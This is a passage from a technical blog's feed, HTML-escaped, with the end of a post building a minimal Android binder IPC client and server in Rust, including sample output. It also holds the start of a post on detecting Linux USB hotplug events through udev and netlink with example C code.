&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_rdata&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{:#x?}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reply_data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_transaction_data&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="mi"&gt;12345&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test_data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;slice&lt;/span&gt;::&lt;span class="n"&gt;from_raw_parts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Test command! {}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;::&lt;span class="n"&gt;from_utf8_lossy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test_data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;reply_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TF_STATUS_CODE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;reply_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfeedface&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Unknown command {}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;reply_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TF_STATUS_CODE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;reply_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xdeadbeef&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="k"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;mem&lt;/span&gt;::&lt;span class="n"&gt;size_of&lt;/span&gt;::&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;binder_transaction_data&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;BC_FREE_BUFFER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_ne_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;to_ne_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;BC_REPLY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_ne_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reply_data&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;binder_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Unknown reply 0x{:08x}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code also demonstrates how multiple commands can be sent in the same &lt;code&gt;ioctl&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/binder-server.svg" alt="Hand-drawn diagram of the BC_FREE_BUFFER and BC_REPLY ioctl" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;Because &lt;em&gt;the kernel&lt;/em&gt; allocates memory to store received data, we need to ask the kernel to free it by using the &lt;code&gt;BC_FREE_BUFFER&lt;/code&gt; command. For efficiency, we can perform the &lt;code&gt;BC_REPLY&lt;/code&gt; at the same time. The binder driver magically knows that the &lt;code&gt;BC_REPLY&lt;/code&gt; corresponds to the transaction we just read.&lt;/p&gt;
&lt;h1&gt;Putting it all together&lt;/h1&gt;
&lt;p&gt;The complete code for this demonstration can be found &lt;a href="https://github.com/ArcaneNibble/binder-demo"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Running the server in one terminal window and then running the client twice will output something like the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ./target/debug/server /tmp/bindertest/binder
[src/bin/server.rs:22:5] binder_fd = 3
[src/bin/server.rs:37:5] mmap_addr = 0x00007f6f8405a000
[src/bin/server.rs:39:5] binder_version(binder_fd)? = 8
BR_NOOP
BR_TRANSACTION
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0x3039,
    flags: 0x0,
    sender_pid: 0x1f873,
    sender_euid: 0x3e8,
    data_size: 0xc,
    offsets_size: 0x0,
    buffer: 0x00007f6f8405a000,
    offsets: 0x0000000000000000,
}
Test command! Hello world!
BR_NOOP
BR_NOOP
BR_TRANSACTION
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0x3039,
    flags: 0x0,
    sender_pid: 0x1f87d,
    sender_euid: 0x3e8,
    data_size: 0xc,
    offsets_size: 0x0,
    buffer: 0x00007f6f8405a000,
    offsets: 0x0000000000000000,
}
Test command! Hello world!
BR_NOOP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ./target/debug/client /tmp/bindertest/binder
[src/bin/client.rs:22:5] binder_fd = 3
[src/bin/client.rs:37:5] mmap_addr = 0x00007ff7f645f000
[src/bin/client.rs:39:5] binder_version(binder_fd)? = 8
BR_NOOP
BR_TRANSACTION_COMPLETE
BR_REPLY
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0xfeedface,
    flags: 0x8,
    sender_pid: 0x0,
    sender_euid: 0x3e8,
    data_size: 0x0,
    offsets_size: 0x0,
    buffer: 0x00007ff7f645f000,
    offsets: 0x0000000000000000,
}
$ ./target/debug/client /tmp/bindertest/binder
[src/bin/client.rs:22:5] binder_fd = 3
[src/bin/client.rs:37:5] mmap_addr = 0x00007fc1dd451000
[src/bin/client.rs:39:5] binder_version(binder_fd)? = 8
BR_NOOP
BR_TRANSACTION_COMPLETE
BR_REPLY
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0xfeedface,
    flags: 0x8,
    sender_pid: 0x0,
    sender_euid: 0x3e8,
    data_size: 0x0,
    offsets_size: 0x0,
    buffer: 0x00007fc1dd451000,
    offsets: 0x0000000000000000,
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice that the buffer returned from the kernel is always within the &lt;code&gt;mmap&lt;/code&gt;ed memory region, and that the server has access to the process ID and user ID of the sending process.&lt;/p&gt;
&lt;h1&gt;Going further&lt;/h1&gt;
&lt;p&gt;In addition to just transferring bytes, binder allows transferring structured data. The list of offsets of this structured data within the buffer to be transferred is passed in the &lt;code&gt;offsets&lt;/code&gt; field of the &lt;code&gt;binder_transaction_data&lt;/code&gt; struct. Each piece of structured data starts with a &lt;code&gt;binder_object_header&lt;/code&gt; which contains a 32-bit integer.&lt;/p&gt;
&lt;p&gt;A "binder" object is the "objects on which methods can be invoked" that the binder driver keeps track of. When sending a "binder" object to another process, the binder driver maps it to a "handle" object. This can be sent to further processes (updating reference counts), but it is turned back into a "binder" object when sent to the process it originated from. In the original process, a "binder" object is a pointer-sized value. In other processes, "handles" are 32-bit numbers.&lt;/p&gt;
&lt;p&gt;It is also possible to send either a file descriptor or an array of file descriptors. This clones the file descriptor into the recipient process, similar to sending &lt;code&gt;SCM_RIGHTS&lt;/code&gt; over a unix domain socket.&lt;/p&gt;
&lt;p&gt;Finally, it is possible to send a set of buffers, and the binder driver can fix up pointers to these buffers so that they are adjusted for the recipent process address space. Using this, complex data structures can be sent.&lt;/p&gt;
&lt;p&gt;Unfortunately, there is not a lot of documentation on how this all works at a low level. Some useful resources I found include the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[&lt;a href="https://www.dre.vanderbilt.edu/~schmidt/cs282/PDFs/android-binder-ipc.pdf"&gt;1&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;[&lt;a href="https://baiqin-droid1001.medium.com/"&gt;2&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;[&lt;a href="https://androidoffsec.withgoogle.com/posts/binder-internals/"&gt;3&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;</content><category term="misc"></category></entry><entry><title>Hardware hotplug events on Linux, the gory details</title><link href="https://arcanenibble.com/hardware-hotplug-events-on-linux-the-gory-details.html" rel="alternate"></link><published>2026-03-01T00:00:00+00:00</published><updated>2026-03-01T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2026-03-01:/hardware-hotplug-events-on-linux-the-gory-details.html</id><summary type="html">&lt;p&gt;Maybe the code shouldn't be the &lt;em&gt;only&lt;/em&gt; documentation?&lt;/p&gt;</summary><content type="html">&lt;p&gt;tl;dr go &lt;a href="#format"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;One day, I suddenly wondered how to detect when a USB device is plugged or unplugged from a computer running Linux. For most users, this would be solved by relying on &lt;a href="https://libusb.sourceforge.io/api-1.0/libusb_hotplug.html"&gt;libusb&lt;/a&gt;. However, the use case I was investigating might not actually &lt;em&gt;want&lt;/em&gt; to do so, and so this led me down a poorly-documented rabbit hole.&lt;/p&gt;
&lt;h1&gt;udev&lt;/h1&gt;
&lt;p&gt;By browsing the &lt;a href="https://github.com/libusb/libusb/tree/7ff29f2cd35604ad146dadb7466d7c7c83c43e63/libusb/os"&gt;libusb source code&lt;/a&gt;, we can see that there are two hotplug backends: &lt;code&gt;linux_netink.c&lt;/code&gt; and &lt;code&gt;linux_udev.c&lt;/code&gt;. What is the difference?&lt;/p&gt;
&lt;p&gt;If we pull up the &lt;a href="https://github.com/libusb/libusb/commit/6853291ed0c7a783d01be3f8813988fc6e5c5ac3"&gt;original commit&lt;/a&gt; introducing those files, the commit description reads:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Add hotplug support to the Linux backend.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are two ways to configure hotplug support for Linux: udev, and netlink. It is strongly recommened that udev support is used on systems that utilize udev. We reenforce this recommendation by defaulting to --with-udev=yes at configure time. To enable netlink support run configure with --with-udev=no. If udev support is enabled all device enumeration is done with udev.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I've certainly &lt;em&gt;encountered&lt;/em&gt; udev before (usually in the context of changing permissions of USB devices so that I can access them without being &lt;code&gt;root&lt;/code&gt;), but I suppose it's time to look deeper into what it &lt;em&gt;actually&lt;/em&gt; does.&lt;/p&gt;
&lt;p&gt;Fortunately, Free Electrons / Bootlin &lt;a href="https://bootlin.com/doc/legacy/udev/udev.pdf"&gt;has the history well-covered&lt;/a&gt;. TL;DR, the kernel uses &lt;a href="https://man7.org/linux/man-pages/man7/netlink.7.html"&gt;netlink&lt;/a&gt; to tell udev about devices, udev does its necessary handling of them, and then udev re-broadcasts these events to every other program interested in them.&lt;/p&gt;
&lt;p&gt;The reason libusb so strongly recommends using the udev mechanism is to avoid race conditions. For example, udev might be in the process of changing Unix permissions, uploading firmware, or &lt;a href="https://www.draisberghof.de/usb_modeswitch/"&gt;mode-switching USB devices&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But… how do we listen for these rebroadcasted events? Can we do it without linking in libudev? What &lt;abbr title="Inter-process communications"&gt;IPC&lt;/abbr&gt; mechanisms are actually in use here? It turns out that udev and libudev have long since been &lt;a href="https://github.com/systemd/systemd/tree/main/src/libudev"&gt;folded into systemd&lt;/a&gt; while I wasn't looking. We're going to have to dive into the code and have a look.&lt;/p&gt;
&lt;h1&gt;netlink&lt;/h1&gt;
&lt;p&gt;Before continuing further, it might be necessary to give a brief overview of netlink. Netlink is a Linux-specific "network protocol" used to communicate usually between the kernel and userspace, using the &lt;a href="https://en.wikipedia.org/wiki/Berkeley_sockets"&gt;BSD sockets&lt;/a&gt; API. It is particularly suitable for the kernel sending notifications &lt;em&gt;to&lt;/em&gt; userspace (unlike syscalls which need to be &lt;em&gt;initiated by&lt;/em&gt; userspace).&lt;/p&gt;
&lt;p&gt;Netlink passes datagrams (like UDP) but can also pass &lt;a href="https://man7.org/linux/man-pages/man3/cmsg.3.html"&gt;ancillary data&lt;/a&gt; (like &lt;a href="https://en.wikipedia.org/wiki/Unix_domain_socket"&gt;Unix domain sockets&lt;/a&gt;). Netlink also supports a somewhat-limited multicast capability, where many programs can receive events sent by one source.&lt;/p&gt;
&lt;h1&gt;Example code&lt;/h1&gt;
&lt;p&gt;At this point, it might be easier to have some code to reference:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#define _GNU_SOURCE&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;ctype.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdbool.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdint.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;poll.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// Define netlink data types, so that we don&amp;#39;t need linux-specific header files to compile this&lt;/span&gt;
&lt;span class="cp"&gt;#define NETLINK_KOBJECT_UEVENT 15&lt;/span&gt;
&lt;span class="cp"&gt;#define MONITOR_GROUP_KERNEL 1&lt;/span&gt;
&lt;span class="cp"&gt;#define MONITOR_GROUP_UDEV 2&lt;/span&gt;

&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sockaddr_nl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sa_family_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nl_family&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nl_pad&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nl_pid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nl_groups&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// MurmurHash2 (copy-pasta)&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;MurmurHash2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// &amp;#39;m&amp;#39; and &amp;#39;r&amp;#39; are mixing constants generated offline.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// They&amp;#39;re not really &amp;#39;magic&amp;#39;, they just happen to work well.&lt;/span&gt;

